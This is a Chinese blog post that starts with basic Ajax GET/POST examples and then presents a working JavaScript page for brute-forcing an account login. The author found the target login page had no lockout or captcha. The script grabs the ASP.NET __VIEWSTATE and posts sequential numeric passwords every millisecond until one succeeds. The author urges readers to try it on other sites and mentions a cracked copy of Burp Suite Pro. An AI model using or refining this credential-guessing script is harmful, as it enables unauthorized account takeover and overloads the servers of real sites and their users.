在.Net环境中,我们常常使用HttpRequest,HttpResponse来发送,交换数据,这个相信不少朋友都用过。但这种方法对于Ajax来说就过于重量级了。
可以使用Web,Winform,Console版本,后者效率较高一点,前段时间,园子里有位朋友也做了个【把骗子玩了一把】的示例。
【它山之石】:
今天把骗子耍了一把 - 翟士丹 Stan Zhai - 博客园
http://www.cnblogs.com/jasondan/archive/2013/09/13/3319853.html
在.Net中调用各种类库,的确很方便,如果没能够做到多线程的话,效率也是很低的,另一方面,它严重依赖.Net平台。。。
近来,刚刚开始接触Ajax,主要练习两个方法 get,post:
<script type="text/javascript"> var urlGet = "http://XXXX/login.aspx?"+Math.random(); //get方式提交,加上随机数,避免浏览器缓存而304; var xmlhttpGet;
var returnData; if (window.XMLHttpRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari xmlhttpGet=new XMLHttpRequest(); } else {// code for IE6, IE5 xmlhttpGet=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { <!-- xmlhttp.readyState有4种状态,0-未初始化,1-读取中,2-已读取,2-交互中,4-完成; -->
<!-- status为服务器返回的状态码,200-成功 --> if (xmlhttp.readyState==4 && xmlhttp.status==200) { returnData=xmlhttp.responseText; alert(returnData); } } xmlhttp.open("GET",urlGet,true); xmlhttp.send(); </script>
<script type="text/javascript"> var url="http://xxxx/login.ashx; //post方式,浏览器不会缓存,这里不再需要随机参数 var xmlhttpPost; var returnData; var toSendData="loginId=xxx&passWord=boy"; //这里是要post的数据,用&号分隔 if (window.xmlhttpPostRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari xmlhttpPost=new xmlhttpPostRequest(); } else {// code for IE6, IE5 xmlhttpPost=new ActiveXObject("Microsoft.xmlhttpPost"); } xmlhttpPost.onreadystatechange=function() { if (xmlhttpPost.readyState==4 && xmlhttpPost.status==200) <!-- xmlhttpPost.readyState有4种状态,0-未初始化,1-读取中,2-已读取,2-交互中,4-完成; --> <!-- status为服务器返回的状态码,200-成功 --> { <!-- returnData=document.getElementById("txtHint").innerHTML=xmlhttpPost.responseText; --> returnData=xmlhttpPost.responseText; alert(returnData); } } xmlhttpPost.open("post",url,true); <!-- post数据时,这句话是必须的: --> xmlhttpPost.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); xmlhttpPost.send(toSendData); </script>
看了那篇【今天把骗子玩了一把】的文章加上学习了上面那两个方法之后,想找个什么网站来GET,POST数据玩一玩,于是找到了某网站的一个账号登录页,用Fiddle抓包看了一下,发现,登录时,即使密码错误多次,它都不会把你列为黑名单。。也没有验证码的~~~登录的时候,只要要提供几个参数就可以了,以下为暴力破解的示例,
【为了防止搞跨服务器,我把敏感URL处理了~~各位了解原理后,可以找一些其他网站试试~~切勿做坏事哦,后果自负~~~】
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title></title> </head> <body> <p id="time"></p> <p id="endtime"></p> <p id="txtHint"></p> <p id="curPwd"></p> <p id="ok"></p> <button onclick="startTask()">startTask</button> <button onclick="stopTask()">stopTask</button> <script type="text/javascript"> document.getElementById("time").innerHTML = new Date(); var __VIEWSTATE=null; var loginName=手机号码; var pwd=100000; var timerid = null; //用来做定时器 function stopTask() { clearInterval(timerid); } function startTask() { timerid = window.setInterval( //达到循环调用的效果; //while(true) //与.Net环境不同,用while,直接卡死 //{ function startCrack() { var urlGet = "http:XXXXX/login.xxx?"+Math.random(); //get方式提交,加上随机数,避免浏览器缓存而304; var urlPost = "http:XXXXX/login.xxx"; var returnData; var xmlHttpGet; var xmlHttpPost; if (window.XMLHttpRequest) { //code for IE7+,Firebox,Chrome,Opera,Safari xmlHttpGet = new XMLHttpRequest(); xmlHttpPost = new XMLHttpRequest(); } else { xmlHttpGet = new ActiveXObject("Microsoft.XMLHTTP"); xmlHttpPost = new ActiveXObject("Microsoft.XMLHTTP"); } xmlHttpGet.onreadystatechange = function () { if (xmlHttpGet.readyState == 4) //get方式,获取__VIEWSTATE { if (xmlHttpGet.status == 200) //在VisualStudio中运行不能起作用的,异域问题? { e = document.createElement('div'); e.style.display="none"; e.innerHTML = xmlHttpGet.responseText; document.body.insertBefore(e,null); //alert(document.getElementsByName('__VIEWSTATE')[0].value); __VIEWSTATE=document.getElementsByName('__VIEWSTATE')[0].value; xmlHttpPost.onreadystatechange = function () //post方式,提交表单数据; { if (xmlHttpPost.readyState == 4) { document.getElementById("curPwd").innerHTML=pwd; if (xmlHttpPost.status == 200) { //document.getElementById('ok').innerHTML=xmlHttpPost.responseText; document.getElementById("time").innerHTML = new Date(); if (xmlHttpPost.status == 302) //密码正确后,返回302,但无法进入到这一句; { document.getElementById("time").innerHTML = new Date(); alert("scucess! Pw is:"+pwd); clearInterval(timerid); //执行后,达不到马上停止的效果,这里暂时用多句来减缓,要改善 clearInterval(timerid); clearInterval(timerid); clearInterval(timerid); clearInterval(timerid); clearInterval(timerid); } } } } xmlHttpPost.open("post", urlPost, true); xmlHttpPost.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); //post方式要设置httpHeader的类型; var toSendData = "__VIEWSTATE="+encodeURIComponent(__VIEWSTATE)+"&edtUserCode="+loginName+"&edtPWD="+pwd+"&ddlbLoginMode=xxxxxxx&btnLogin=%B5%C7%C2%BC"; xmlHttpPost.send(toSendData); pwd++; } } } xmlHttpGet.open("GET", urlGet, true); xmlHttpGet.send(); } , 1 //单位是ms; ); } </script> </body> </html>
现在,把上面的代码修改一下保存为HTML文件,在IE浏览器中运行便可以看到效果(CPU差的慎测,小心卡住,没响应~~)
【问题0】非IE不能获取服务器返回的数据,【跨域】问题?请老鸟说一说!
【问题1】上面有个缺憾是,当验证密码通过(用Fiddle抓包可以看到状态码为:302)之后,它不能检查到,所以跳不出来。。。
【问题2】上面是用window.setInterval(XX,1)来达到循环调用的,但用 clearInterval(timerid);来清除,往往不能马上停止,用什么方法比较好解决?
如今,Web技术很多,就拿简单的HTTP,GET,POST数据来说,可以用.Net,Java等,或者直接用第三方Web安全检测工具,如著名的:burpsuitepro_v1.4_professional_cracked,可以很快地实现GET,POST数据。
但说到轻量级的,有与Javascript为辅助的Ajax争锋么?一个3KB左右的文件,加上一个IE6以上的浏览器,就可以实现了,如果处理一下上面的那个【问题0】,兼容其它浏览器的话,还可以做到跨平台了哦~~~一次编写,到处运行~~~
此文纯属抛砖引玉,望各位不要见笑,期望你们的精彩回复!群策群力,解决上面提到的那几个问题。